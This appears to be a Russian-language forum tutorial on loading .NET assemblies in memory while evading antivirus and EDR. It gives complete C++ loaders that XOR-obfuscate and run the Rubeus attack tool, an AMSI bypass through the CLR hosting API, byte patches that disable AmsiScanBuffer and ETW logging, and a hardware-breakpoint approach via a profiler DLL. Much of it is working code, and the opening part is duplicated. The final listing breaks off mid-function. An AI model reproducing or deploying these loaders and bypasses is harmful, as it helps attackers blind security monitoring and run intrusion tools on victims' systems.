Многие из вас знакомы с функцией execute-assembly Cobalt Strike'а или может даже с sharpinline Brute Ratel'я. Они обе запускают .NET из памяти, только делают это немного по-разному.
execute-assembly создает жертвенный процесс и жестоко откладывает туда личинку CLR'а. Сделано это было для того, чтобы незатейливый AV если и бил, то бил не по главному. А бить он будет, ведь Cobalt Strike никак не озадачивается присмотром за потоками CLR'а, чтобы не делали ничего OpSec плохого.
sharpinline запускает CLR уже в своем основном процессе. Brute Ratel (v.1.4.5) попытался улучшить OpSec, используя прямой контроль над выполнением потоков через аппаратные брейкпоинты. Насколько хорошо это вышло, посмотрим позже.
CLR - это программа, которая занимается воплощением IL кода в процессорные инструкции. Он как отдельный организм в нашем процессе, который сам создает свои потоки, управляет памятью и активно сотрудничает с AV\EDR через механизмы AMSI и ETW.
ETW - это универсальный механизм логирования в Windows, где логировать может каждая программа, включая CLR. Из важной телеметрии CLR генерирует: имя, путь, способ загрузки сборки и информацию о методах при выполнении самой сборки JIT`ом. (см.манифест Microsoft-Windows-DotNETRuntime)
У ETW есть такой механизм "Capture State", который позволяет клиенту запросить повторную генерацию событий. Именно это использует Process Hacker, например когда надо впервые получить .NET Assemblies для процесса.
Наш процесс (ETW Provider) --> NtTraceEvent --> AV\EDR (ETW Consumer)
AMSI - это механизм для взаимодействия скриптовых движков с AV/EDR. Через него отправляют строки или массивы байтов для сигнатурного анализа.
AMSI, в отличие от ETW не имеет никаких интерфейсов чтобы AV\EDR мог запросить сканирование. Сканирование обычно инициируется CLR`ом при первой загрузке assembly сборки.
Наш процесс (AMSI Consumer) --> amsi.dll --> AV\EDR (AMSI Provider)
Как самому запустить .NET без лишнего шума?
Я советую в этом деле идти от простого к сложному с точки зрения нагромождения лишних конструкций. То есть если проблему можно решить через несложную обфускацию или Hosting API, то решать через него.
Болтовню о БАЗЕ мы закончили, теперь посмотрим в темпе вальса на техники обходов:
Нам надо загружать из памяти. Интерфейсы CLR'а ограничивают нас двумя основными способами это делать:
Сам _AppDomain это по сути обертка над System.AppDomain из managed кода.
(см. https://learn.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/icorruntimehost-interface)
(см. https://learn.microsoft.com/en-us/dotnet/api/system._appdomain?view=netframework-4.8.1)
Когда кто-то будет загружать сборку, CLR сделает коллбэк на метод ProvideAssembly с аргументом ppStmAssemblyImage, нам остается положить туда поинтер на наш IStream.
Для демонстрации будем использовать Rubeus. Предварительно надо заxor`ить его exe`шник ключем 0x1a, чтобы закинуть на машину с AV\EDR.
Конечно по-хорошему надо делать загрузку из сети, но пока так для удобства.
StreamImageLayout — особый класс загрузки, который загружает сборку из IStream. Он не запускает AMSI‑сканирование перед загрузкой, как остальные.
(см.первоисточник https://www.nttdata.com/global/en/-...radar_magazine/2024/radar_supplement_july.pdf)
(картинка. StreamImageLayout)
(картинка. RawImageLayout)
Эта особенность API позволяет спровоцировать коллбэк на наш ProvideAssembly через Lоad_2 и оттуда начать загрузку сборки обходя сканирование.
В первоисточнике сказано, что сборка должна быть подписана, иначе может не работать. У меня в POC никакой подписи нет, имейте в виду.
(картинка. AmsiBypassLoader.cpp)
(картинка. SimpleLoader.cpp)
Patching
Простой патч памяти - это то, с чего начинались все техники обхода AMSI и ETW.
Для патча ETW делали просто:
Так как NtTraceEvent и ее обертки типа EtwEventWrite возвращают только NTSTATUS в регистре eax.
C AmsiScanBuffer дела обстоят интереснее. Она помимо HRESULT возвращает параметр AMSI_RESULT с результатами сканирования.
Поэтому классический патч тут выглядит по-другому:
80070057h - значит E_INVALIDARG
То есть мы возвращаем ошибку в HRESULT, чтобы CLR в AMSI_RESULT даже не смотрел.
Технология проста как дверь без ручки, но у нее есть фундаментальные проблемы:
Насколько просто для EDR засечь патчинг можно видеть здесь - https://fluxsec.red/monitoring-ntdll-for-memory-patching-etw-hacking-bypass-in-rust-EDR
Поэтому с патчингом надо быть изобретательнее. Если и менять память, то в неочевидных местах.
Смотрите:
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
https://www.r-tec.net/r-tec-blog-bypass-amsi-in-2025.html
https://habr.com/ru/articles/758550/
Hardware Breakpoints
Аппаратные брейкпоинты ставятся через Dr0-7 регистры, где Dr0-3 содержат адреса, а Dr7 отвечает за конфигурацию.
Например, если записать в Dr0 нужный адрес, в Dr7 на бит 0 записать 1, на биты 16-17 и 18-19 записать нули, то выйдет рабочий брейкпоинт.
Какие биты в Dr7 за что отвечают можно видеть здесь:
Процессор при выполнении инструкций будет свериться с регистрами и генерировать исключения при совпадении условий.
Пример типов исключений:
Аппаратные брейкпоинты генерируют EXCEPTION_SINGLE_STEP исключения.
При срабатывании исключения Windows:
В Windows реализовано 3 основных механизма обработчиков исключений:
VEH (Vectored Exception Handler)
Приоритет у обработчиков расставлен в этом же порядке:
VEH --> SEH --> Unhandled Exception Filter
Наши EXCEPTION_SINGLE_STEP исключения мы будем ловить через VEH обработчик.
Для того чтобы поставить Dr* регистры на нужный поток нам надо сначала его поймать. Тут опять 2 основных способа:
Нам надо реализовать у себя этот интерфейс с коллбэк-методом ThreadCreated, который будет вызывать CLR из своих новосозданных потоков.
Реализация ICorProfilerCallback должна быть в отдельной .dll, ставить переменные для регистрации профайлера надо тоже до вызова CLRCreateInstance().
Итого нам надо:
"Ну, всё?" - нет, не всё.
Проблема остается в том, что NtSetContextThread логирует ETW к провайдеру Microsoft-Windows-Kernel-Audit-API-Calls при каждом вызове.
Это можно проверить запустив скрипт внизу или посмотреть картинку, где показано как Brute Ratel ставит Dr* регистры при вызове его sharpinline.
Вендорам EDR это служит отличным индикатором такого обхода.
"Можно поменять контекст потока без NtSetContextThread?" - можно.
Например, обработчик VEH не использует NtSetContextThread, хотя контекст меняет.
Он использует другую функцию доступную из юзермода - NtContinue.
Конечно NtContinue меняет контекст только текущего потока. Но нам повезло, что CLR делает коллбэки о создании потока из него же.
Поэтому больших переделок не надо.
Вызов NtContinue вне VEH выглядит страшно, но работает ВРОДЕ БЫ нормально.
https://www.r-tec.net/r-tec-blog-bypass-amsi-in-2025.html
https://www.nttdata.com/global/en/-...radar_magazine/2024/radar_supplement_july.pdf
https://www.crowdstrike.com/en-us/b...ates-threat-of-patchless-amsi-bypass-attacks/
https://habr.com/ru/articles/758550/
Надеюсь я тебе чем-то помог.
execute-assembly создает жертвенный процесс и жестоко откладывает туда личинку CLR'а. Сделано это было для того, чтобы незатейливый AV если и бил, то бил не по главному. А бить он будет, ведь Cobalt Strike никак не озадачивается присмотром за потоками CLR'а, чтобы не делали ничего OpSec плохого.
sharpinline запускает CLR уже в своем основном процессе. Brute Ratel (v.1.4.5) попытался улучшить OpSec, используя прямой контроль над выполнением потоков через аппаратные брейкпоинты. Насколько хорошо это вышло, посмотрим позже.
CLR - это программа, которая занимается воплощением IL кода в процессорные инструкции. Он как отдельный организм в нашем процессе, который сам создает свои потоки, управляет памятью и активно сотрудничает с AV\EDR через механизмы AMSI и ETW.
ETW - это универсальный механизм логирования в Windows, где логировать может каждая программа, включая CLR. Из важной телеметрии CLR генерирует: имя, путь, способ загрузки сборки и информацию о методах при выполнении самой сборки JIT`ом. (см.манифест Microsoft-Windows-DotNETRuntime)
У ETW есть такой механизм "Capture State", который позволяет клиенту запросить повторную генерацию событий. Именно это использует Process Hacker, например когда надо впервые получить .NET Assemblies для процесса.
Наш процесс (ETW Provider) --> NtTraceEvent --> AV\EDR (ETW Consumer)
AMSI - это механизм для взаимодействия скриптовых движков с AV/EDR. Через него отправляют строки или массивы байтов для сигнатурного анализа.
AMSI, в отличие от ETW не имеет никаких интерфейсов чтобы AV\EDR мог запросить сканирование. Сканирование обычно инициируется CLR`ом при первой загрузке assembly сборки.
Наш процесс (AMSI Consumer) --> amsi.dll --> AV\EDR (AMSI Provider)
Как самому запустить .NET без лишнего шума?
Я советую в этом деле идти от простого к сложному с точки зрения нагромождения лишних конструкций. То есть если проблему можно решить через несложную обфускацию или Hosting API, то решать через него.
Болтовню о БАЗЕ мы закончили, теперь посмотрим в темпе вальса на техники обходов:
- Обход AMSI через Hosting API
- Обход AMSI и ETW через Patching
- Обход AMSI и ETW через Hardware Breakpoints
CLR Hosting Interfaces
Для взаимодействия с CLR через нативный код есть множество COM интерфейсов.- В одних интерфейсы реализует CLR, мы вызываем.
- В других интерфейсы реализует наш нативный код, CLR вызывает
Загрузка сборки из памяти
Загрузить сборку из диска можно множеством способов и ни один из них нам не интересен.Нам надо загружать из памяти. Интерфейсы CLR'а ограничивают нас двумя основными способами это делать:
- ICorRuntimeHost
Сам _AppDomain это по сути обертка над System.AppDomain из managed кода.
(см. https://learn.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/icorruntimehost-interface)
(см. https://learn.microsoft.com/en-us/dotnet/api/system._appdomain?view=netframework-4.8.1)
- IHostAssemblyStore
Когда кто-то будет загружать сборку, CLR сделает коллбэк на метод ProvideAssembly с аргументом ppStmAssemblyImage, нам остается положить туда поинтер на наш IStream.
POC с _AppDomain
Для демонстрации будем использовать Rubeus. Предварительно надо заxor`ить его exe`шник ключем 0x1a, чтобы закинуть на машину с AV\EDR.
Конечно по-хорошему надо делать загрузку из сети, но пока так для удобства.
C++:
#pragma once
#include <windows.h>
#include <objbase.h>
#define __IObjectHandle_INTERFACE_DEFINED__
#import "mscorlib.tlb" \
rename("ReportEvent", "ReportEvent2") \
rename("or", "or2") \
no_namespace \
raw_interfaces_only
#include <mscoree.h>
#include <metahost.h>
#include <shlwapi.h>
#include <iostream>
#include <fstream>
#include <vector>
#include <string>
#include <stdexcept>
#pragma comment(lib, "mscoree.lib")
#pragma comment(lib, "shlwapi.lib")
std::vector<char> readExeFile(const wchar_t* FilePath) {
std::ifstream file(FilePath, std::ios::binary | std::ios::ate);
if (!file) return {};
std::streamsize size = file.tellg();
std::vector<char> buffer(size);
file.seekg(0);
file.read(buffer.data(), size);
return buffer;
}
void decrypt(char* buf, const std::size_t size) {
for (unsigned i = 0; i < size; i++) {
buf[i] ^= 0x1a;
}
}
int wmain(int argc, wchar_t* argv[]) {
if (argc < 2) {
std::wcout << L"Usage: " << argv[0] << L" <path_to_dotnet_exe> <dotnet_args>" << std::endl;
return 1;
}
const wchar_t* exePath = argv[1];
std::vector<std::wstring> args;
for (int i = 2; i < argc; ++i) {
args.emplace_back(argv[i]);
}
HRESULT hr;
ICLRMetaHost* metaHost = NULL;
ICLRRuntimeInfo* runtimeInfo = NULL;
ICorRuntimeHost* corRuntimeHost = NULL;
CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&metaHost);
metaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (LPVOID*)&runtimeInfo);
runtimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, (LPVOID*)&corRuntimeHost);
corRuntimeHost->Start();
// Получаем AppDomain
IUnknown* appDomainThunk = NULL;
_AppDomain* defaultAppDomain = NULL;
corRuntimeHost->GetDefaultDomain(&appDomainThunk);
appDomainThunk->QueryInterface(__uuidof(_AppDomain), (VOID**)&defaultAppDomain);
std::vector<char> buffer = readExeFile(exePath);
if (buffer.empty()) {
std::wcerr << L"Failed to read assembly file" << std::endl;
return 1;
}
decrypt(buffer.data(), buffer.size());
// Создаем SAFEARRAY
SAFEARRAYBOUND bounds[1];
bounds[0].cElements = buffer.size();
bounds[0].lLbound = 0;
SAFEARRAY* safeArray = SafeArrayCreate(VT_UI1, 1, bounds);
SafeArrayLock(safeArray);
memcpy(safeArray->pvData, buffer.data(), buffer.size());
SafeArrayUnlock(safeArray);
// Загружаем assembly в память
_AssemblyPtr managedAssembly = NULL;
hr = defaultAppDomain->Load_3(safeArray, &managedAssembly);
if (FAILED(hr)) {
std::wcerr << L"Failed to load assembly: 0x" << std::hex << hr << std::endl;
return 1;
}
std::wcout << L"Assembly loaded successfully!" << std::endl;
SafeArrayDestroy(safeArray);
_MethodInfoPtr entryPoint = NULL;
managedAssembly->get_EntryPoint(&entryPoint);
SAFEARRAY* argsArray = SafeArrayCreateVector(VT_BSTR, 0, (ULONG)args.size());
LONG i = 0;
for (size_t n = 0; n < args.size(); n++)
{
BSTR str = SysAllocString(args[n].c_str());
i = (LONG)n;
HRESULT hr = SafeArrayPutElement(argsArray, &i, str);
SysFreeString(str);
}
VARIANT argsVariant;
VariantInit(&argsVariant);
argsVariant.vt = VT_ARRAY | VT_BSTR;
argsVariant.parray = argsArray;
SAFEARRAY* params = SafeArrayCreateVector(VT_VARIANT, 0, 1);
LONG index = 0;
SafeArrayPutElement(params, &index, &argsVariant);
VariantClear(&argsVariant);
VARIANT returnValue;
VariantInit(&returnValue);
VARIANT emptyObj;
VariantInit(&emptyObj);
hr = entryPoint->Invoke_3(emptyObj, params, &returnValue);
if (FAILED(hr)) {
std::wcerr << L"Failed to invoke EntryPoint: 0x" << std::hex << hr << std::endl;
}
else {
std::wcout << L"Assembly executed successfully!" << std::endl;
if (returnValue.vt == VT_I4) {
std::wcout << L"Return code: " << returnValue.intVal << std::endl;
}
}
return 0;
}
AMSI Bypass через Hosting API
У CLR сканирование выполняется не для всех методов загрузки одинаково, а для каждого типа загрузки своя логика.StreamImageLayout — особый класс загрузки, который загружает сборку из IStream. Он не запускает AMSI‑сканирование перед загрузкой, как остальные.
(см.первоисточник https://www.nttdata.com/global/en/-...radar_magazine/2024/radar_supplement_july.pdf)
(картинка. StreamImageLayout)
(картинка. RawImageLayout)
Эта особенность API позволяет спровоцировать коллбэк на наш ProvideAssembly через Lоad_2 и оттуда начать загрузку сборки обходя сканирование.
В первоисточнике сказано, что сборка должна быть подписана, иначе может не работать. У меня в POC никакой подписи нет, имейте в виду.
POC
C++:
#pragma once
// Windows Headers
#include <windows.h>
#include <objbase.h>
// Prevent IObjectHandle redefinition
#define __IObjectHandle_INTERFACE_DEFINED__
// Import mscorlib BEFORE other CLR headers
#import "mscorlib.tlb" \
rename("ReportEvent", "ReportEvent2") \
rename("or", "or2") \
no_namespace \
raw_interfaces_only
// CLR Headers (after mscorlib import)
#include <mscoree.h>
#include <metahost.h>
#include <shlwapi.h>
// STL Headers
#include <iostream>
#include <fstream>
#include <vector>
#include <string>
#include <stdexcept>
// Link libraries
#pragma comment(lib, "mscoree.lib")
#pragma comment(lib, "shlwapi.lib")
const wchar_t* g_ExePath;
std::vector<char> readExeFile(const wchar_t* FilePath) {
std::ifstream file(FilePath, std::ios::binary | std::ios::ate);
if (!file) return {};
std::streamsize size = file.tellg();
std::vector<char> buffer(size);
file.seekg(0);
file.read(buffer.data(), size);
return buffer;
}
void decrypt(char* buf, const std::size_t size) {
for (unsigned i = 0; i < size; i++) {
buf[i] ^= 0x1a;
}
}
class CHostAssemblyStore : public IHostAssemblyStore {
HRESULT __stdcall ProvideAssembly(AssemblyBindInfo* pBindInfo, UINT64* pAssemblyId, UINT64* pContext, IStream**
ppStmAssemblyImage, IStream** ppStmPDB) override
{
std::wcout << L"ProvideAssembly Called!" << std::endl;
*pContext = 0;
*ppStmPDB = 0;
auto assemblyData = readExeFile(g_ExePath);
if (assemblyData.empty()) {
std::wcerr << L"Failed to read assembly file" << std::endl;
return 1;
}
decrypt(assemblyData.data(), assemblyData.size());
IStream* is = SHCreateMemStream((const BYTE*)assemblyData.data(), assemblyData.size());
*pAssemblyId = 0x3279c1db2414a8cb;
*ppStmAssemblyImage = is;
return S_OK;
}
HRESULT __stdcall ProvideModule(ModuleBindInfo* pBindInfo, DWORD* pdwModuleId, IStream** ppStmModuleImage,
IStream** ppStmPDB) override
{
return HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND);
}
public:
virtual HRESULT __stdcall QueryInterface(REFIID riid, void** ppvObject) override
{
if (riid == IID_IUnknown) {
*ppvObject = (IUnknown*)this;
}
else if (riid == IID_IHostAssemblyStore) {
*ppvObject = (IHostAssemblyStore*)this;
}
else {
*ppvObject = NULL;
return E_NOINTERFACE;
}
static_cast<IUnknown*>(*ppvObject)->AddRef();
return S_OK;
}
virtual ULONG __stdcall AddRef(void) override
{
return InterlockedIncrement(&m_Ref);
}
virtual ULONG __stdcall Release(void) override
{
if (InterlockedDecrement(&m_Ref) == 0) {
delete this;
return 0;
}
return m_Ref;
}
private:
long m_Ref = 0;
};
class CHostAssemblyManager : public IHostAssemblyManager {
HRESULT __stdcall GetNonHostStoreAssemblies(ICLRAssemblyReferenceList** ppReferenceList) override
{
*ppReferenceList = NULL;
return S_OK;
}
HRESULT __stdcall GetAssemblyStore(IHostAssemblyStore** ppAssemblyStore) override
{
CHostAssemblyStore* pHostStore = new CHostAssemblyStore();
*ppAssemblyStore = (IHostAssemblyStore*)pHostStore;
((IHostAssemblyStore*)*ppAssemblyStore)->AddRef();
return S_OK;
}
public:
HRESULT __stdcall QueryInterface(REFIID riid, void** ppvObject) override
{
if (riid == IID_IUnknown) {
*ppvObject = (IUnknown*)this;
}
else if (riid == IID_IHostAssemblyManager) {
*ppvObject = (IHostAssemblyManager*)this;
}
else {
*ppvObject = NULL;
return E_NOINTERFACE;
}
static_cast<IUnknown*>(*ppvObject)->AddRef();
return S_OK;
}
ULONG __stdcall AddRef(void) override
{
return InterlockedIncrement(&m_Ref);
}
ULONG __stdcall Release(void) override
{
if (InterlockedDecrement(&m_Ref) == 0) {
delete this;
return 0;
}
return m_Ref;
}
private:
long m_Ref = 0;
};
class CHostControl : public IHostControl {
HRESULT STDMETHODCALLTYPE GetHostManager(
/* [in] */ REFIID riid,
/* [out] */ void** ppObject) override {
if (riid == IID_IHostAssemblyManager) {
CHostAssemblyManager* mgr = new CHostAssemblyManager();
mgr->AddRef();
*ppObject = (IHostAssemblyManager*)mgr;
return S_OK;
}
return E_NOINTERFACE;
}
HRESULT STDMETHODCALLTYPE SetAppDomainManager(
/* [in] */ DWORD dwAppDomainID,
/* [in] */ IUnknown* pUnkAppDomainManager) override {
return S_OK;
}
public:
HRESULT __stdcall QueryInterface(REFIID riid, void** ppvObject) override
{
if (riid == IID_IUnknown) {
*ppvObject = (IUnknown*)this;
}
else if (riid == IID_IHostControl) {
*ppvObject = (IHostControl*)this;
}
else {
*ppvObject = NULL;
return E_NOINTERFACE;
}
static_cast<IUnknown*>(*ppvObject)->AddRef();
return S_OK;
}
ULONG __stdcall AddRef(void) override
{
return InterlockedIncrement(&m_Ref);
}
ULONG __stdcall Release(void) override
{
if (InterlockedDecrement(&m_Ref) == 0) {
delete this;
return 0;
}
return m_Ref;
}
private:
long m_Ref = 0;
};
int wmain(int argc, wchar_t* argv[])
{
if (argc < 2) {
std::wcout << L"Usage: " << argv[0] << L" <path_to_dotnet_exe> <dotnet_args>" << std::endl;
return 1;
}
g_ExePath = argv[1];
std::vector<std::wstring> args;
for (int i = 2; i < argc; ++i) {
args.emplace_back(argv[i]);
}
ICLRMetaHost* metaHost = NULL;
ICLRRuntimeInfo* runtimeInfo = NULL;
ICLRRuntimeHost* runtimeHost = NULL;
CHostControl pHostControl{};
ICorRuntimeHost* corRuntimeHost = NULL;
IUnknown* appDomainThunk;
_AppDomain* defaultAppDomain = NULL;
CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&metaHost);
metaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (LPVOID*)&runtimeInfo);
runtimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)&runtimeHost);
runtimeHost->SetHostControl((IHostControl*)&pHostControl);
runtimeHost->Start();
runtimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, (LPVOID*)&corRuntimeHost);
corRuntimeHost->GetDefaultDomain(&appDomainThunk);
appDomainThunk->QueryInterface(&defaultAppDomain);
_Assembly* managedAssembly;
HRESULT hr = defaultAppDomain->Load_2(_bstr_t("Rubeus, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null, processorArchitecture=MSIL"), &managedAssembly);
if (FAILED(hr)) {
std::wcerr << L"Failed to Load_2 assembly 0x" << std::hex << hr << std::endl;
return 1;
}
_MethodInfoPtr entryPoint = NULL;
managedAssembly->get_EntryPoint(&entryPoint);
SAFEARRAY* argsArray = SafeArrayCreateVector(VT_BSTR, 0, (ULONG)args.size());
LONG i = 0;
for (size_t n = 0; n < args.size(); n++)
{
BSTR str = SysAllocString(args[n].c_str());
i = (LONG)n;
HRESULT hr = SafeArrayPutElement(argsArray, &i, str);
SysFreeString(str);
}
VARIANT argsVariant;
VariantInit(&argsVariant);
argsVariant.vt = VT_ARRAY | VT_BSTR;
argsVariant.parray = argsArray;
SAFEARRAY* params = SafeArrayCreateVector(VT_VARIANT, 0, 1);
LONG index = 0;
SafeArrayPutElement(params, &index, &argsVariant);
VariantClear(&argsVariant);
VARIANT returnValue;
VariantInit(&returnValue);
VARIANT emptyObj;
VariantInit(&emptyObj);
hr = entryPoint->Invoke_3(emptyObj, params, &returnValue);
if (FAILED(hr)) {
std::wcerr << L"Failed to invoke EntryPoint: 0x" << std::hex << hr << std::endl;
}
else {
std::wcout << L"Assembly executed successfully!" << std::endl;
if (returnValue.vt == VT_I4) {
std::wcout << L"Return code: " << returnValue.intVal << std::endl;
}
}
return 0;
}
(картинка. AmsiBypassLoader.cpp)
(картинка. SimpleLoader.cpp)
Patching
Простой патч памяти - это то, с чего начинались все техники обхода AMSI и ETW.
Для патча ETW делали просто:
xor eax eaxretТак как NtTraceEvent и ее обертки типа EtwEventWrite возвращают только NTSTATUS в регистре eax.
C AmsiScanBuffer дела обстоят интереснее. Она помимо HRESULT возвращает параметр AMSI_RESULT с результатами сканирования.
HRESULT AmsiScanBuffer( [in] HAMSICONTEXT amsiContext, [in] PVOID buffer, [in] ULONG length, [in] LPCWSTR contentName, [in, optional] HAMSISESSION amsiSession, [out] AMSI_RESULT *result);Поэтому классический патч тут выглядит по-другому:
mov eax 80070057hret80070057h - значит E_INVALIDARG
То есть мы возвращаем ошибку в HRESULT, чтобы CLR в AMSI_RESULT даже не смотрел.
POC с AmsiScanBuffer
int Patch() { HANDLE hprocess = GetCurrentProcess(); HMODULE hAmsidll = LoadLibraryW(L"amsi.dll"); FARPROC pAmsiScanBuffer = GetProcAddress(hAmsidll, "AmsiScanBuffer"); unsigned char patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, // mov eax, 80070057h (E_INVALIDARG) 0xC3 // ret }; DWORD oldProtect; VirtualProtectEx(hprocess, pAmsiScanBuffer, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProtect); WriteProcessMemory(hprocess, pAmsiScanBuffer, patch, sizeof(patch), NULL); VirtualProtectEx(hprocess, pAmsiScanBuffer, sizeof(patch), oldProtect, &oldProtect); return 0;}Технология проста как дверь без ручки, но у нее есть фундаментальные проблемы:
- Во-первых, виден сам процесс модификации прав и записи в память.
- Во-вторых, в памяти остаётся видимый артефакт.
Насколько просто для EDR засечь патчинг можно видеть здесь - https://fluxsec.red/monitoring-ntdll-for-memory-patching-etw-hacking-bypass-in-rust-EDR
Поэтому с патчингом надо быть изобретательнее. Если и менять память, то в неочевидных местах.
Смотрите:
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
https://www.r-tec.net/r-tec-blog-bypass-amsi-in-2025.html
https://habr.com/ru/articles/758550/
Hardware Breakpoints
Аппаратные брейкпоинты ставятся через Dr0-7 регистры, где Dr0-3 содержат адреса, а Dr7 отвечает за конфигурацию.
Например, если записать в Dr0 нужный адрес, в Dr7 на бит 0 записать 1, на биты 16-17 и 18-19 записать нули, то выйдет рабочий брейкпоинт.
Какие биты в Dr7 за что отвечают можно видеть здесь:
Процессор при выполнении инструкций будет свериться с регистрами и генерировать исключения при совпадении условий.
Обработка Исключений
Исключения - это такой тип аппаратных событий, которые сообщают ядру, что поток не может продолжить нормальную работу и надо что-то с этим делать.Пример типов исключений:
| Исключение | Код |
| Access Violation | EXCEPTION_ACCESS_VIOLATION (0xC0000005) |
| Divide by Zero | EXCEPTION_INT_DIVIDE_BY_ZERO (0xC0000094) |
| Breakpoint | EXCEPTION_BREAKPOINT (0x80000003) |
| Single-step | EXCEPTION_SINGLE_STEP (0x80000004) |
Аппаратные брейкпоинты генерируют EXCEPTION_SINGLE_STEP исключения.
При срабатывании исключения Windows:
- Создает структуру ExceptionRecord с параметрами исключения и структуру ContextRecord со снапшотом регистров потока.
- Вызывает KiUserExceptionDispatcher для передачи управления в юзермод.
- В юзермоде другая функция смотрит какие обработчики зарегистрированы и решает кому отдать управление по приоритетам в зависимости от их типа.
В Windows реализовано 3 основных механизма обработчиков исключений:
VEH (Vectored Exception Handler)
- Локален для процесса.
- Может произвольно менять стек и регистры.
- Обработчик регистрируется через AddVectoredExceptionHandler().
- Может быть знаком через __try/__except.
- Локален для потока.
- Если в блоке __try срабатывает исключение, то он чистит стек, восстанавливает регистры и передает выполнение в блок __except.
- Механизм последнего шанса, который или передает исключение в дебагер, или завершает весь процесс.
Приоритет у обработчиков расставлен в этом же порядке:
VEH --> SEH --> Unhandled Exception Filter
Наши EXCEPTION_SINGLE_STEP исключения мы будем ловить через VEH обработчик.
- Регистрируем обработчик через AddVectoredExceptionHandler(1, VectoredExceptionHandler);
- При исключении в VectoredExceptionHandler передадут структуру VECTORED_EXCEPTION_HANDLER в которой будут ExceptionRecord и ContextRecord.
- Меняем Rax, в Rip ставим адрес возврата.
- Возвращаем EXCEPTION_CONTINUE_EXECUTION, чтобы возобновить поток с новым контекстом.
Чтобы исключения шли куда надо, а не в несуществующий дебагер, необходимо выключить дебагмод.
bcdedit /debug off
На случай если кто его раньше включил и забыл выключить.
5 часов чтения документации экономит 5 минут дебага. Или как там.
ICorProfiler
Для того чтобы поставить Dr* регистры на нужный поток нам надо сначала его поймать. Тут опять 2 основных способа:
- ICorProfilerCallback
- IHostTaskManager
Нам надо реализовать у себя этот интерфейс с коллбэк-методом ThreadCreated, который будет вызывать CLR из своих новосозданных потоков.
Реализация ICorProfilerCallback должна быть в отдельной .dll, ставить переменные для регистрации профайлера надо тоже до вызова CLRCreateInstance().
Итого нам надо:
- Запустить сборку Rubeus`а - Возьмем наш SimpleLoader из прошлой главы
- Получить коллбэки о создании потоков - сделаем .dll с ICorProfiler
- Установить Dr* регистры на этот поток - пока будем использовать SetThreadContext()
POC
C++:
#pragma once
#include <windows.h>
#include <objbase.h>
#define __IObjectHandle_INTERFACE_DEFINED__
#import "mscorlib.tlb" \
rename("ReportEvent", "ReportEvent2") \
rename("or", "or2") \
no_namespace \
raw_interfaces_only
#include <mscoree.h>
#include <metahost.h>
#include <shlwapi.h>
#include <iostream>
#include <fstream>
#include <vector>
#include <string>
#include <stdexcept>
#pragma comment(lib, "mscoree.lib")
#pragma comment(lib, "shlwapi.lib")
std::vector<char> readExeFile(const wchar_t* FilePath) {
std::ifstream file(FilePath, std::ios::binary | std::ios::ate);
if (!file) return {};
std::streamsize size = file.tellg();
std::vector<char> buffer(size);
file.seekg(0);
file.read(buffer.data(), size);
return buffer;
}
void decrypt(char* buf, const std::size_t size) {
for (unsigned i = 0; i < size; i++) {
buf[i] ^= 0x1a;
}
}
int wmain(int argc, wchar_t* argv[]) {
SetEnvironmentVariableW(L"COR_ENABLE_PROFILING", L"1");
SetEnvironmentVariableW(L"COR_PROFILER", L"{12345678-1234-1234-1234-123456789012}");
wchar_t path[MAX_PATH];
GetModuleFileNameW(NULL, path, MAX_PATH);
std::wstring dir(path); dir = dir.substr(0, dir.find_last_of(L"\\/"));
SetEnvironmentVariableW(L"COR_PROFILER_PATH", (dir + L"\\Profiler.dll").c_str());
if (argc < 2) {
std::wcout << L"Usage: " << argv[0] << L" <path_to_dotnet_exe> <dotnet_args>" << std::endl;
return 1;
}
const wchar_t* exePath = argv[1];
std::vector<std::wstring> args;
for (int i = 2; i < argc; ++i) {
args.emplace_back(argv[i]);
}
HRESULT hr;
ICLRMetaHost* metaHost = NULL;
ICLRRuntimeInfo* runtimeInfo = NULL;
ICorRuntimeHost* corRuntimeHost = NULL;
CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&metaHost);
metaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (LPVOID*)&runtimeInfo);
runtimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, (LPVOID*)&corRuntimeHost);
corRuntimeHost->Start();
// Получаем AppDomain
IUnknown* appDomainThunk = NULL;
_AppDomain* defaultAppDomain = NULL;
corRuntimeHost->GetDefaultDomain(&appDomainThunk);
appDomainThunk->QueryInterface(__uuidof(_AppDomain), (VOID**)&defaultAppDomain);
std::vector<char> buffer = readExeFile(exePath);
if (buffer.empty()) {
std::wcerr << L"Failed to read assembly file" << std::endl;
return 1;
}
decrypt(buffer.data(), buffer.size());
// Создаем SAFEARRAY
SAFEARRAYBOUND bounds[1];
bounds[0].cElements = buffer.size();
bounds[0].lLbound = 0;
SAFEARRAY* safeArray = SafeArrayCreate(VT_UI1, 1, bounds);
SafeArrayLock(safeArray);
memcpy(safeArray->pvData, buffer.data(), buffer.size());
SafeArrayUnlock(safeArray);
// Загружаем assembly в память
_AssemblyPtr managedAssembly = NULL;
hr = defaultAppDomain->Load_3(safeArray, &managedAssembly);
if (FAILED(hr)) {
std::wcerr << L"Failed to load assembly: 0x" << std::hex << hr << std::endl;
return 1;
}
std::wcout << L"Assembly loaded successfully!" << std::endl;
SafeArrayDestroy(safeArray);
_MethodInfoPtr entryPoint = NULL;
managedAssembly->get_EntryPoint(&entryPoint);
SAFEARRAY* argsArray = SafeArrayCreateVector(VT_BSTR, 0, (ULONG)args.size());
LONG i = 0;
for (size_t n = 0; n < args.size(); n++)
{
BSTR str = SysAllocString(args[n].c_str());
i = (LONG)n;
HRESULT hr = SafeArrayPutElement(argsArray, &i, str);
